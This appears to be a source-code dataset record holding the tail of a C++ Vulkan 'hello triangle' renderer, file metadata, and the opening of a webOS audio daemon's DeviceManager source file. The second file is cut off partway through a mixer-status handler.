which part of the image should be accessed createInfo.subresourceRange.aspectMask = VK_IMAGE_ASPECT_COLOR_BIT; createInfo.subresourceRange.baseMipLevel = 0; createInfo.subresourceRange.levelCount = 1; createInfo.subresourceRange.baseArrayLayer = 0; createInfo.subresourceRange.layerCount = 1; // stereographic 3D application would need multiple layers in the swap // chain and multiple images views for each image (left/right eyes) if (vkCreateImageView(device_, &createInfo, nullptr, &swapChainImageViews_[i]) != VK_SUCCESS) { throw std::runtime_error("failed to create image views!"); } } } void createRenderPass() { VkAttachmentDescription colorAttachment{}; colorAttachment.format = swapChainImageFormat_; colorAttachment.samples = VK_SAMPLE_COUNT_1_BIT; colorAttachment.loadOp = VK_ATTACHMENT_LOAD_OP_CLEAR; colorAttachment.storeOp = VK_ATTACHMENT_STORE_OP_STORE; colorAttachment.stencilLoadOp = VK_ATTACHMENT_LOAD_OP_DONT_CARE; colorAttachment.stencilStoreOp = VK_ATTACHMENT_STORE_OP_DONT_CARE; colorAttachment.initialLayout = VK_IMAGE_LAYOUT_UNDEFINED; colorAttachment.finalLayout = VK_IMAGE_LAYOUT_PRESENT_SRC_KHR; VkAttachmentReference colorAttachmentRef{}; colorAttachmentRef.attachment = 0; colorAttachmentRef.layout = VK_IMAGE_LAYOUT_COLOR_ATTACHMENT_OPTIMAL; VkSubpassDescription subpass{}; subpass.pipelineBindPoint = VK_PIPELINE_BIND_POINT_GRAPHICS; subpass.colorAttachmentCount = 1; subpass.pColorAttachments = &colorAttachmentRef; VkSubpassDependency dependency{}; dependency.srcSubpass = VK_SUBPASS_EXTERNAL; dependency.dstSubpass = 0; dependency.srcStageMask = VK_PIPELINE_STAGE_COLOR_ATTACHMENT_OUTPUT_BIT; dependency.srcAccessMask = 0; dependency.dstStageMask = VK_PIPELINE_STAGE_COLOR_ATTACHMENT_OUTPUT_BIT; dependency.dstAccessMask = VK_ACCESS_COLOR_ATTACHMENT_WRITE_BIT; VkRenderPassCreateInfo renderPassInfo{}; renderPassInfo.sType = VK_STRUCTURE_TYPE_RENDER_PASS_CREATE_INFO; renderPassInfo.attachmentCount = 1; renderPassInfo.pAttachments = &colorAttachment; renderPassInfo.subpassCount = 1; renderPassInfo.pSubpasses = &subpass; renderPassInfo.dependencyCount = 1; renderPassInfo.pDependencies = &dependency; if (vkCreateRenderPass(device_, &renderPassInfo, nullptr, &renderPass_) != VK_SUCCESS) { throw std::runtime_error("failed to create render pass!"); } } void createGraphicsPipeline() { auto vertShaderCode = readFile("shader.vert.spv"); auto fragShaderCode = readFile("shader.frag.spv"); VkShaderModule vertShaderModule = createShaderModule(vertShaderCode); VkShaderModule fragShaderModule = createShaderModule(fragShaderCode); VkPipelineShaderStageCreateInfo vertShaderStageInfo{}; vertShaderStageInfo.sType = VK_STRUCTURE_TYPE_PIPELINE_SHADER_STAGE_CREATE_INFO; vertShaderStageInfo.stage = VK_SHADER_STAGE_VERTEX_BIT; vertShaderStageInfo.module = vertShaderModule; // entrypoint function invoked by the pipeline vertShaderStageInfo.pName = "main"; // it's possible to use pSpecializationInfo for constants that can change // the behaviour of the shader, though here we set it to nullptr (default) VkPipelineShaderStageCreateInfo fragShaderStageInfo{}; fragShaderStageInfo.sType = VK_STRUCTURE_TYPE_PIPELINE_SHADER_STAGE_CREATE_INFO; fragShaderStageInfo.stage = VK_SHADER_STAGE_FRAGMENT_BIT; fragShaderStageInfo.module = fragShaderModule; fragShaderStageInfo.pName = "main"; VkPipelineShaderStageCreateInfo shaderStages[] = {vertShaderStageInfo, fragShaderStageInfo}; // Vertex input auto bindingDescription = Vertex::getBindingDescription(); auto attributeDescriptions = Vertex::getAttributeDescriptions(); VkPipelineVertexInputStateCreateInfo vertexInputInfo{}; vertexInputInfo.sType = VK_STRUCTURE_TYPE_PIPELINE_VERTEX_INPUT_STATE_CREATE_INFO; vertexInputInfo.vertexBindingDescriptionCount = 1; vertexInputInfo.pVertexBindingDescriptions = &bindingDescription; vertexInputInfo.vertexAttributeDescriptionCount = static_cast<uint32_t>(attributeDescriptions.size()); vertexInputInfo.pVertexAttributeDescriptions = attributeDescriptions.data(); // Input Assembly VkPipelineInputAssemblyStateCreateInfo inputAssembly{}; inputAssembly.sType = VK_STRUCTURE_TYPE_PIPELINE_INPUT_ASSEMBLY_STATE_CREATE_INFO; // topology sounds cool, need to check it out later when drawing inputAssembly.topology = VK_PRIMITIVE_TOPOLOGY_TRIANGLE_LIST; inputAssembly.primitiveRestartEnable = VK_FALSE; // Viewports: region of the framebuffer that the output will be rendered to VkViewport viewport{}; viewport.x = 0.0f; viewport.y = 0.0f; viewport.width = (float) swapChainExtent_.width; viewport.height = (float) swapChainExtent_.height; viewport.minDepth = 0.0f; viewport.maxDepth = 1.0f; // Scissors: filter that tells where rasterizer will actually retain pixels VkRect2D scissor{}; scissor.offset = {0, 0}; scissor.extent = swapChainExtent_; VkPipelineViewportStateCreateInfo viewportState{}; viewportState.sType = VK_STRUCTURE_TYPE_PIPELINE_VIEWPORT_STATE_CREATE_INFO; viewportState.viewportCount = 1; viewportState.pViewports = &viewport; viewportState.scissorCount = 1; viewportState.pScissors = &scissor; // Rasterizer VkPipelineRasterizationStateCreateInfo rasterizer{}; rasterizer.sType = VK_STRUCTURE_TYPE_PIPELINE_RASTERIZATION_STATE_CREATE_INFO; rasterizer.depthClampEnable = VK_FALSE; rasterizer.rasterizerDiscardEnable = VK_FALSE; // Any other mode than fill requires a GPU feature rasterizer.polygonMode = VK_POLYGON_MODE_FILL; // Any line thicker requires the widelines GPU feature rasterizer.lineWidth = 1.0f; rasterizer.cullMode = VK_CULL_MODE_BACK_BIT; rasterizer.frontFace = VK_FRONT_FACE_CLOCKWISE; rasterizer.depthBiasEnable = VK_FALSE; rasterizer.depthBiasConstantFactor = 0.0f; // Optional rasterizer.depthBiasClamp = 0.0f; // Optional rasterizer.depthBiasSlopeFactor = 0.0f; // Optional // Multisampling VkPipelineMultisampleStateCreateInfo multisampling{}; multisampling.sType = VK_STRUCTURE_TYPE_PIPELINE_MULTISAMPLE_STATE_CREATE_INFO; multisampling.sampleShadingEnable = VK_FALSE; multisampling.rasterizationSamples = VK_SAMPLE_COUNT_1_BIT; multisampling.minSampleShading = 1.0f; // Optional multisampling.pSampleMask = nullptr; // Optional multisampling.alphaToCoverageEnable = VK_FALSE; // Optional multisampling.alphaToOneEnable = VK_FALSE; // Optional // Colour Blending // Per framebuffer VkPipelineColorBlendAttachmentState colorBlendAttachment{}; colorBlendAttachment.colorWriteMask = VK_COLOR_COMPONENT_R_BIT | VK_COLOR_COMPONENT_G_BIT | VK_COLOR_COMPONENT_B_BIT | VK_COLOR_COMPONENT_A_BIT; colorBlendAttachment.blendEnable = VK_FALSE; colorBlendAttachment.srcColorBlendFactor = VK_BLEND_FACTOR_ONE; // Optional colorBlendAttachment.dstColorBlendFactor = VK_BLEND_FACTOR_ZERO; // Optional colorBlendAttachment.colorBlendOp = VK_BLEND_OP_ADD; // Optional colorBlendAttachment.srcAlphaBlendFactor = VK_BLEND_FACTOR_ONE; // Optional colorBlendAttachment.dstAlphaBlendFactor = VK_BLEND_FACTOR_ZERO; // Optional colorBlendAttachment.alphaBlendOp = VK_BLEND_OP_ADD; // Optional // Global VkPipelineColorBlendStateCreateInfo colorBlending{}; colorBlending.sType = VK_STRUCTURE_TYPE_PIPELINE_COLOR_BLEND_STATE_CREATE_INFO; colorBlending.logicOpEnable = VK_FALSE; colorBlending.logicOp = VK_LOGIC_OP_COPY; // Optional colorBlending.attachmentCount = 1; colorBlending.pAttachments = &colorBlendAttachment; colorBlending.blendConstants[0] = 0.0f; // Optional colorBlending.blendConstants[1] = 0.0f; // Optional colorBlending.blendConstants[2] = 0.0f; // Optional colorBlending.blendConstants[3] = 0.0f; // Optional // Pipeline State // Won't be using this for now, but still have to create an empty state VkPipelineLayoutCreateInfo pipelineLayoutInfo{}; pipelineLayoutInfo.sType = VK_STRUCTURE_TYPE_PIPELINE_LAYOUT_CREATE_INFO; pipelineLayoutInfo.setLayoutCount = 0; // Optional pipelineLayoutInfo.pSetLayouts = nullptr; // Optional pipelineLayoutInfo.pushConstantRangeCount = 0; // Optional pipelineLayoutInfo.pPushConstantRanges = nullptr; // Optional if (vkCreatePipelineLayout(device_, &pipelineLayoutInfo, nullptr, &pipelineLayout_) != VK_SUCCESS) { throw std::runtime_error("failed to create pipeline layout!"); } // Pipeline Creation VkGraphicsPipelineCreateInfo pipelineInfo{}; pipelineInfo.sType = VK_STRUCTURE_TYPE_GRAPHICS_PIPELINE_CREATE_INFO; pipelineInfo.stageCount = 2; pipelineInfo.pStages = shaderStages; pipelineInfo.pVertexInputState = &vertexInputInfo; pipelineInfo.pInputAssemblyState = &inputAssembly; pipelineInfo.pViewportState = &viewportState; pipelineInfo.pRasterizationState = &rasterizer; pipelineInfo.pMultisampleState = &multisampling; pipelineInfo.pDepthStencilState = nullptr; // Optional pipelineInfo.pColorBlendState = &colorBlending; pipelineInfo.pDynamicState = nullptr; // Optional pipelineInfo.layout = pipelineLayout_; pipelineInfo.renderPass = renderPass_; pipelineInfo.subpass = 0; pipelineInfo.basePipelineHandle = VK_NULL_HANDLE; // Optional pipelineInfo.basePipelineIndex = -1; // Optional if (vkCreateGraphicsPipelines(device_, VK_NULL_HANDLE, 1, &pipelineInfo, nullptr, &graphicsPipeline_) != VK_SUCCESS) { throw std::runtime_error("failed to create graphics pipeline!"); } vkDestroyShaderModule(device_, fragShaderModule, nullptr); vkDestroyShaderModule(device_, vertShaderModule, nullptr); } void createFramebuffers() { swapChainFramebuffers_.resize(swapChainImageViews_.size()); for (size_t i = 0; i < swapChainImageViews_.size(); i++) { VkImageView attachments[] = { swapChainImageViews_[i] }; VkFramebufferCreateInfo framebufferInfo{}; framebufferInfo.sType = VK_STRUCTURE_TYPE_FRAMEBUFFER_CREATE_INFO; framebufferInfo.renderPass = renderPass_; framebufferInfo.attachmentCount = 1; framebufferInfo.pAttachments = attachments; framebufferInfo.width = swapChainExtent_.width; framebufferInfo.height = swapChainExtent_.height; framebufferInfo.layers = 1; if (vkCreateFramebuffer(device_, &framebufferInfo, nullptr, &swapChainFramebuffers_[i]) != VK_SUCCESS) { throw std::runtime_error("failed to create framebuffer!"); } } } void createCommandPool() { QueueFamilyIndices queueFamilyIndices = findQueueFamilies(physicalDevice_); VkCommandPoolCreateInfo poolInfo{}; poolInfo.sType = VK_STRUCTURE_TYPE_COMMAND_POOL_CREATE_INFO; // we are going to record commands for drawing, which is why we've // chosen the graphics queue family poolInfo.queueFamilyIndex = queueFamilyIndices.graphicsFamily.value(); poolInfo.flags = 0; if (vkCreateCommandPool(device_, &poolInfo, nullptr, &commandPool_) != VK_SUCCESS) { throw std::runtime_error("failed to create command pool!"); } } void createVertexBuffer() { VkDeviceSize bufferSize = sizeof(vertices[0]) * vertices.size(); VkBuffer stagingBuffer; VkDeviceMemory stagingBufferMemory; createBuffer(bufferSize, VK_BUFFER_USAGE_TRANSFER_SRC_BIT, VK_MEMORY_PROPERTY_HOST_VISIBLE_BIT | VK_MEMORY_PROPERTY_HOST_COHERENT_BIT, stagingBuffer, stagingBufferMemory); void* data; vkMapMemory(device_, stagingBufferMemory, 0, bufferSize, 0, &data); memcpy(data, vertices.data(), (size_t) bufferSize); vkUnmapMemory(device_, stagingBufferMemory); createBuffer(bufferSize, VK_BUFFER_USAGE_TRANSFER_DST_BIT | VK_BUFFER_USAGE_VERTEX_BUFFER_BIT, VK_MEMORY_PROPERTY_DEVICE_LOCAL_BIT, vertexBuffer_, vertexBufferMemory_); copyBuffer(stagingBuffer, vertexBuffer_, bufferSize); vkDestroyBuffer(device_, stagingBuffer, nullptr); vkFreeMemory(device_, stagingBufferMemory, nullptr); } void createBuffer(VkDeviceSize size, VkBufferUsageFlags usage, VkMemoryPropertyFlags properties, VkBuffer& buffer, VkDeviceMemory& bufferMemory) { VkBufferCreateInfo bufferInfo{}; bufferInfo.sType = VK_STRUCTURE_TYPE_BUFFER_CREATE_INFO; bufferInfo.size = size; bufferInfo.usage = usage; bufferInfo.sharingMode = VK_SHARING_MODE_EXCLUSIVE; if (vkCreateBuffer(device_, &bufferInfo, nullptr, &buffer) != VK_SUCCESS) { throw std::runtime_error("failed to create vertex buffer!"); } VkMemoryRequirements memRequirements; vkGetBufferMemoryRequirements(device_, buffer, &memRequirements); VkMemoryAllocateInfo allocInfo{}; allocInfo.sType = VK_STRUCTURE_TYPE_MEMORY_ALLOCATE_INFO; allocInfo.allocationSize = memRequirements.size; allocInfo.memoryTypeIndex = findMemoryType(memRequirements.memoryTypeBits, properties); if (vkAllocateMemory(device_, &allocInfo, nullptr, &bufferMemory) != VK_SUCCESS) { throw std::runtime_error("failed to allocate vertex buffer memory!"); } vkBindBufferMemory(device_, buffer, bufferMemory, 0); } void copyBuffer(VkBuffer srcBuffer, VkBuffer dstBuffer, VkDeviceSize size) { VkCommandBufferAllocateInfo allocInfo{}; allocInfo.sType = VK_STRUCTURE_TYPE_COMMAND_BUFFER_ALLOCATE_INFO; allocInfo.level = VK_COMMAND_BUFFER_LEVEL_PRIMARY; allocInfo.commandPool = commandPool_; allocInfo.commandBufferCount = 1; VkCommandBuffer commandBuffer; vkAllocateCommandBuffers(device_, &allocInfo, &commandBuffer); VkCommandBufferBeginInfo beginInfo{}; beginInfo.sType = VK_STRUCTURE_TYPE_COMMAND_BUFFER_BEGIN_INFO; beginInfo.flags = VK_COMMAND_BUFFER_USAGE_ONE_TIME_SUBMIT_BIT; vkBeginCommandBuffer(commandBuffer, &beginInfo); VkBufferCopy copyRegion{}; copyRegion.srcOffset = 0; // Optional copyRegion.dstOffset = 0; // Optional copyRegion.size = size; vkCmdCopyBuffer(commandBuffer, srcBuffer, dstBuffer, 1, &copyRegion); vkEndCommandBuffer(commandBuffer); VkSubmitInfo submitInfo{}; submitInfo.sType = VK_STRUCTURE_TYPE_SUBMIT_INFO; submitInfo.commandBufferCount = 1; submitInfo.pCommandBuffers = &commandBuffer; vkQueueSubmit(graphicsQueue_, 1, &submitInfo, VK_NULL_HANDLE); vkQueueWaitIdle(graphicsQueue_); vkFreeCommandBuffers(device_, commandPool_, 1, &commandBuffer); } uint32_t findMemoryType(uint32_t typeFilter, VkMemoryPropertyFlags properties) { VkPhysicalDeviceMemoryProperties memProperties; vkGetPhysicalDeviceMemoryProperties(physicalDevice_, &memProperties); for (uint32_t i = 0; i < memProperties.memoryTypeCount; i++) { if ((typeFilter & (1 << i)) && (memProperties.memoryTypes[i].propertyFlags & properties) == properties) { return i; } } throw std::runtime_error("failed to find suitable memory type!"); } void createIndexBuffer() { VkDeviceSize bufferSize = sizeof(indices[0]) * indices.size(); VkBuffer stagingBuffer; VkDeviceMemory stagingBufferMemory; createBuffer(bufferSize, VK_BUFFER_USAGE_TRANSFER_SRC_BIT, VK_MEMORY_PROPERTY_HOST_VISIBLE_BIT | VK_MEMORY_PROPERTY_HOST_COHERENT_BIT, stagingBuffer, stagingBufferMemory); void* data; vkMapMemory(device_, stagingBufferMemory, 0, bufferSize, 0, &data); memcpy(data, indices.data(), (size_t) bufferSize); vkUnmapMemory(device_, stagingBufferMemory); createBuffer(bufferSize, VK_BUFFER_USAGE_TRANSFER_DST_BIT | VK_BUFFER_USAGE_INDEX_BUFFER_BIT, VK_MEMORY_PROPERTY_DEVICE_LOCAL_BIT, indexBuffer_, indexBufferMemory_); copyBuffer(stagingBuffer, indexBuffer_, bufferSize); vkDestroyBuffer(device_, stagingBuffer, nullptr); vkFreeMemory(device_, stagingBufferMemory, nullptr); } void createCommandBuffers() { commandBuffers_.resize(swapChainFramebuffers_.size()); VkCommandBufferAllocateInfo allocInfo{}; allocInfo.sType = VK_STRUCTURE_TYPE_COMMAND_BUFFER_ALLOCATE_INFO; allocInfo.commandPool = commandPool_; allocInfo.level = VK_COMMAND_BUFFER_LEVEL_PRIMARY; allocInfo.commandBufferCount = (uint32_t) commandBuffers_.size(); if (vkAllocateCommandBuffers(device_, &allocInfo, commandBuffers_.data()) != VK_SUCCESS) { throw std::runtime_error("failed to allocate command buffers!"); } for (size_t i = 0; i < commandBuffers_.size(); i++) { VkCommandBufferBeginInfo beginInfo{}; beginInfo.sType = VK_STRUCTURE_TYPE_COMMAND_BUFFER_BEGIN_INFO; beginInfo.flags = 0; // Optional beginInfo.pInheritanceInfo = nullptr; // Optional if (vkBeginCommandBuffer(commandBuffers_[i], &beginInfo) != VK_SUCCESS) { throw std::runtime_error("failed to begin recording command buffer!"); } VkRenderPassBeginInfo renderPassInfo{}; renderPassInfo.sType = VK_STRUCTURE_TYPE_RENDER_PASS_BEGIN_INFO; renderPassInfo.renderPass = renderPass_; renderPassInfo.framebuffer = swapChainFramebuffers_[i]; renderPassInfo.renderArea.offset = {0, 0}; renderPassInfo.renderArea.extent = swapChainExtent_; VkClearValue clearColor = {0.0f, 0.0f, 0.0f, 1.0f}; renderPassInfo.clearValueCount = 1; renderPassInfo.pClearValues = &clearColor; vkCmdBeginRenderPass(commandBuffers_[i], &renderPassInfo, VK_SUBPASS_CONTENTS_INLINE); vkCmdBindPipeline(commandBuffers_[i], VK_PIPELINE_BIND_POINT_GRAPHICS, graphicsPipeline_); VkBuffer vertexBuffers[] = {vertexBuffer_}; VkDeviceSize offsets[] = {0}; vkCmdBindVertexBuffers(commandBuffers_[i], 0, 1, vertexBuffers, offsets); vkCmdBindIndexBuffer(commandBuffers_[i], indexBuffer_, 0, VK_INDEX_TYPE_UINT16); vkCmdDrawIndexed(commandBuffers_[i], static_cast<uint32_t>(indices.size()), 1, 0, 0, 0); vkCmdEndRenderPass(commandBuffers_[i]); if (vkEndCommandBuffer(commandBuffers_[i]) != VK_SUCCESS) { throw std::runtime_error("failed to record command buffer!"); } } } void createSyncObjects() { imageAvailableSemaphores_.resize(MAX_FRAMES_IN_FLIGHT); renderFinishedSemaphores_.resize(MAX_FRAMES_IN_FLIGHT); inFlightFences_.resize(MAX_FRAMES_IN_FLIGHT); imagesInFlight_.resize(swapChainImages_.size(), VK_NULL_HANDLE); // in current API there are no required fields except sType VkSemaphoreCreateInfo semaphoreInfo{}; semaphoreInfo.sType = VK_STRUCTURE_TYPE_SEMAPHORE_CREATE_INFO; VkFenceCreateInfo fenceInfo{}; fenceInfo.sType = VK_STRUCTURE_TYPE_FENCE_CREATE_INFO; fenceInfo.flags = VK_FENCE_CREATE_SIGNALED_BIT; for (size_t i = 0; i < MAX_FRAMES_IN_FLIGHT; i++) { if (vkCreateSemaphore(device_, &semaphoreInfo, nullptr, &imageAvailableSemaphores_[i]) != VK_SUCCESS || vkCreateSemaphore(device_, &semaphoreInfo, nullptr, &renderFinishedSemaphores_[i]) != VK_SUCCESS || vkCreateFence(device_, &fenceInfo, nullptr, &inFlightFences_[i]) != VK_SUCCESS) { throw std::runtime_error("failed to create synchronization objects for a frame!"); } } } // - acquire an image from the swap chain // - execute the command buffer with that image as attachment in the framebuffer // - return the image to the swap chain for presentation // these events are executed asynchronously void drawFrame() { vkWaitForFences(device_, 1, &inFlightFences_[currentFrame_], VK_TRUE, UINT64_MAX); uint32_t imageIndex; // UINT64_MAX for timeout value disables it VkResult result = vkAcquireNextImageKHR(device_, swapChain_, UINT64_MAX, imageAvailableSemaphores_[currentFrame_], VK_NULL_HANDLE, &imageIndex); if (result == VK_ERROR_OUT_OF_DATE_KHR) { recreateSwapChain(); return; } else if (result != VK_SUCCESS && result != VK_SUBOPTIMAL_KHR) { throw std::runtime_error("failed to acquire swap chain image"); } if (imagesInFlight_[imageIndex] != VK_NULL_HANDLE) { vkWaitForFences(device_, 1, &imagesInFlight_[imageIndex], VK_TRUE, UINT64_MAX); } imagesInFlight_[imageIndex] = inFlightFences_[currentFrame_]; VkSubmitInfo submitInfo{}; submitInfo.sType = VK_STRUCTURE_TYPE_SUBMIT_INFO; VkSemaphore waitSemaphores[] = {imageAvailableSemaphores_[currentFrame_]}; VkPipelineStageFlags waitStages[] = {VK_PIPELINE_STAGE_COLOR_ATTACHMENT_OUTPUT_BIT}; submitInfo.waitSemaphoreCount = 1; submitInfo.pWaitSemaphores = waitSemaphores; submitInfo.pWaitDstStageMask = waitStages; submitInfo.commandBufferCount = 1; submitInfo.pCommandBuffers = &commandBuffers_[imageIndex]; VkSemaphore signalSemaphores[] = {renderFinishedSemaphores_[currentFrame_]}; submitInfo.signalSemaphoreCount = 1; submitInfo.pSignalSemaphores = signalSemaphores; vkResetFences(device_, 1, &inFlightFences_[currentFrame_]); if (vkQueueSubmit(graphicsQueue_, 1, &submitInfo, inFlightFences_[currentFrame_]) != VK_SUCCESS) { throw std::runtime_error("failed to submit draw command buffer!"); } VkPresentInfoKHR presentInfo{}; presentInfo.sType = VK_STRUCTURE_TYPE_PRESENT_INFO_KHR; presentInfo.waitSemaphoreCount = 1; presentInfo.pWaitSemaphores = signalSemaphores; VkSwapchainKHR swapChains[] = {swapChain_}; presentInfo.swapchainCount = 1; presentInfo.pSwapchains = swapChains; presentInfo.pImageIndices = &imageIndex; presentInfo.pResults = nullptr; // Optional // we will add the error handling here later result = vkQueuePresentKHR(presentQueue_, &presentInfo); if (result == VK_ERROR_OUT_OF_DATE_KHR || result == VK_SUBOPTIMAL_KHR || framebufferResized) { framebufferResized = false; recreateSwapChain(); } else if (result != VK_SUCCESS) { throw std::runtime_error("failed to present swap chain image"); } currentFrame_ = (currentFrame_ + 1) % MAX_FRAMES_IN_FLIGHT; } VkShaderModule createShaderModule(const std::vector<char>& code) { VkShaderModuleCreateInfo createInfo{}; createInfo.sType = VK_STRUCTURE_TYPE_SHADER_MODULE_CREATE_INFO; createInfo.codeSize = code.size(); // size of the bytecode is specified in bytes, but the bytecode pointer // is a uint32_t pointer rather than a char pointer createInfo.pCode = reinterpret_cast<const uint32_t*>(code.data()); VkShaderModule shaderModule; if (vkCreateShaderModule(device_, &createInfo, nullptr, &shaderModule) != VK_SUCCESS) { throw std::runtime_error("failed to create shader module!"); } return shaderModule; } static VkSurfaceFormatKHR chooseSwapSurfaceFormat(const std::vector<VkSurfaceFormatKHR> &availableFormats) { for (const auto &availableFormat : availableFormats) { if (availableFormat.format == VK_FORMAT_B8G8R8A8_SRGB && availableFormat.colorSpace == VK_COLOR_SPACE_SRGB_NONLINEAR_KHR) { return availableFormat; } } return availableFormats[0]; } static VkPresentModeKHR chooseSwapPresentMode(const std::vector<VkPresentModeKHR> &availablePresentModes) { for (const auto &availablePresentMode : availablePresentModes) { if (availablePresentMode == VK_PRESENT_MODE_MAILBOX_KHR) { return availablePresentMode; } } return VK_PRESENT_MODE_FIFO_KHR; } VkExtent2D chooseSwapExtent(const VkSurfaceCapabilitiesKHR &capabilities) { if (capabilities.currentExtent.width != UINT32_MAX) { return capabilities.currentExtent; } else { int width, height; glfwGetFramebufferSize(window_, &width, &height); VkExtent2D actualExtent = { static_cast<uint32_t>(width), static_cast<uint32_t>(height) }; actualExtent.width = std::max(capabilities.minImageExtent.width, std::min(capabilities.maxImageExtent.width, actualExtent.width)); actualExtent.height = std::max(capabilities.minImageExtent.height, std::min(capabilities.maxImageExtent.height, actualExtent.height)); return actualExtent; } } SwapChainSupportDetails querySwapChainSupport(VkPhysicalDevice device) { SwapChainSupportDetails details; vkGetPhysicalDeviceSurfaceCapabilitiesKHR(device, surface_, &details.capabilities); uint32_t formatCount; vkGetPhysicalDeviceSurfaceFormatsKHR(device, surface_, &formatCount, nullptr); if (formatCount != 0) { details.formats.resize(formatCount); vkGetPhysicalDeviceSurfaceFormatsKHR(device, surface_, &formatCount, details.formats.data()); } uint32_t presentModeCount; vkGetPhysicalDeviceSurfacePresentModesKHR(device, surface_, &presentModeCount, nullptr); if (presentModeCount != 0) { details.presentModes.resize(presentModeCount); vkGetPhysicalDeviceSurfacePresentModesKHR(device, surface_, &presentModeCount, details.presentModes.data()); } return details; } bool isDeviceSuitable(VkPhysicalDevice device) { // VkPhysicalDeviceProperties deviceProperties; // vkGetPhysicalDeviceProperties(device, &deviceProperties); // VkPhysicalDeviceFeatures deviceFeatures; // vkGetPhysicalDeviceFeatures(device, &deviceFeatures); // return deviceProperties.deviceType == // VK_PHYSICAL_DEVICE_TYPE_DISCRETE_GPU && deviceFeatures.geometryShader; // For some reason geometryShader is not true for both of my cards QueueFamilyIndices indices = findQueueFamilies(device); bool extensionsSupported = checkDeviceExtensionSupport(device); bool swapChainAdequate = false; if (extensionsSupported) { SwapChainSupportDetails swapChainSupport = querySwapChainSupport(device); swapChainAdequate = !swapChainSupport.formats.empty() && !swapChainSupport.presentModes.empty(); } return indices.isComplete() && swapChainAdequate && extensionsSupported; } bool checkDeviceExtensionSupport(VkPhysicalDevice device) { uint32_t extensionCount; vkEnumerateDeviceExtensionProperties(device, nullptr, &extensionCount, nullptr); std::vector<VkExtensionProperties> availableExtensions(extensionCount); vkEnumerateDeviceExtensionProperties(device, nullptr, &extensionCount, availableExtensions.data()); std::set<std::string> requiredExtensions(deviceExtensions.begin(), deviceExtensions.end()); for (const auto &extension : availableExtensions) { requiredExtensions.erase(extension.extensionName); } return requiredExtensions.empty(); } QueueFamilyIndices findQueueFamilies(VkPhysicalDevice device) { QueueFamilyIndices indices; uint32_t queueFamilyCount = 0; vkGetPhysicalDeviceQueueFamilyProperties(device, &queueFamilyCount, nullptr); std::vector<VkQueueFamilyProperties> queueFamilies(queueFamilyCount); vkGetPhysicalDeviceQueueFamilyProperties(device, &queueFamilyCount, queueFamilies.data()); int i = 0; for (const auto &queueFamily : queueFamilies) { if (queueFamily.queueFlags & VK_QUEUE_GRAPHICS_BIT) { indices.graphicsFamily = i; } VkBool32 presentSupport = false; vkGetPhysicalDeviceSurfaceSupportKHR(device, i, surface_, &presentSupport); if (presentSupport) { indices.presentFamily = i; } if (indices.isComplete()) { break; } i++; } return indices; } std::vector<const char *> getRequiredExtensions() { // glfw returns the extensions it needs to do, that can be passed // to the structs as global extensions. uint32_t glfwExtensionCount = 0; const char **glfwExtensions; glfwExtensions = glfwGetRequiredInstanceExtensions(&glfwExtensionCount); std::vector<const char *> extensions(glfwExtensions, glfwExtensions + glfwExtensionCount); if (enableValidationLayers) { // extension needed to add callbacks in the program to handle error // (and all kinds of) messages extensions.push_back(VK_EXT_DEBUG_UTILS_EXTENSION_NAME); } return extensions; } bool checkValidationLayerSupport() { uint32_t layerCount; vkEnumerateInstanceLayerProperties(&layerCount, nullptr); std::vector<VkLayerProperties> availableLayers(layerCount); vkEnumerateInstanceLayerProperties(&layerCount, availableLayers.data()); for (const char *layerName : validationLayers) { bool layerFound = false; for (const auto &layerProperties : availableLayers) { if (strcmp(layerName, layerProperties.layerName) == 0) { layerFound = true; break; } } if (!layerFound) { return false; } } return true; } static std::vector<char> readFile(const std::string& filename) { std::ifstream file(filename, std::ios::ate | std::ios::binary); if (!file.is_open()) { throw std::runtime_error("failed to open file!"); } size_t fileSize = (size_t) file.tellg(); std::vector<char> buffer(fileSize); file.seekg(0); file.read(buffer.data(), fileSize); file.close(); return buffer; } // returns a boolean indicating if the call that triggered the validation // layer should be aborted static VKAPI_ATTR VkBool32 VKAPI_CALL debugCallback( // might be diagnostic/informational/possible_bug/error VkDebugUtilsMessageSeverityFlagBitsEXT messageSeverity, // unrelated to the specification or performace/something that violates // the specification/potential non-optimal use of Vulkan VkDebugUtilsMessageTypeFlagsEXT messageType, // details of the message itself: message + array of related object // handles const VkDebugUtilsMessengerCallbackDataEXT *pCallbackData, // something to pass your own data to it void *pUserData) { std::cerr << "validation layer: " << pCallbackData->pMessage << std::endl; return VK_FALSE; } }; int main() { HelloTriangleApplication app; try { app.run(); } catch (const std::exception &e) { std::cerr << e.what() << std::endl; return EXIT_FAILURE; } return EXIT_SUCCESS; }
38.405366
148
0.732822
[ "render", "object", "vector", "transform", "3d" ]
0153da57e0b9dada4ab32cae3e64cb33aceeaea4
10,788
cpp
C++
src/modules/deviceManager/deviceManager.cpp
webosose/audiod-pro
69b29bb92f72d5ecabb5dd3a502d793c6c3f6f76
[ "Apache-2.0" ]
2
2018-03-22T19:10:19.000Z
2019-05-06T05:13:59.000Z
src/modules/deviceManager/deviceManager.cpp
webosose/audiod-pro
69b29bb92f72d5ecabb5dd3a502d793c6c3f6f76
[ "Apache-2.0" ]
null
null
null
src/modules/deviceManager/deviceManager.cpp
webosose/audiod-pro
69b29bb92f72d5ecabb5dd3a502d793c6c3f6f76
[ "Apache-2.0" ]
5
2018-03-22T19:10:20.000Z
2019-07-04T12:51:30.000Z
/* @@@LICENSE * * Copyright (c) 2021 LG Electronics Company. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * * LICENSE@@@ */ #include "deviceManager.h" bool DeviceManager::mIsObjRegistered = DeviceManager::RegisterObject(); DeviceManager* DeviceManager::mObjDeviceManager = nullptr; DeviceManagerInterface* DeviceManager::mClientDeviceManagerInstance = nullptr; DeviceManagerInterface* DeviceManagerInterface::mClientInstance = nullptr; pFuncCreateClient DeviceManagerInterface::mClientFuncPointer = nullptr; void DeviceManager::eventMixerStatus (bool mixerStatus, utils::EMIXER_TYPE mixerType) { if (mixerStatus && (mixerType == utils::ePulseMixer)) { FILE *fp = NULL; int HDMI0CardNumber = 0; int HDMI1CardNumber = -1; int HeadphoneCardNumber = -1; char snd_card_info[500]; char *snd_hdmi0_card_info_parse = NULL; char *snd_hdmi1_card_info_parse = NULL; char *snd_headphone_card_info_parse = NULL; int lengthOfHDMI0Card = strlen("b1"); int lengthOfHeadphoneCard = 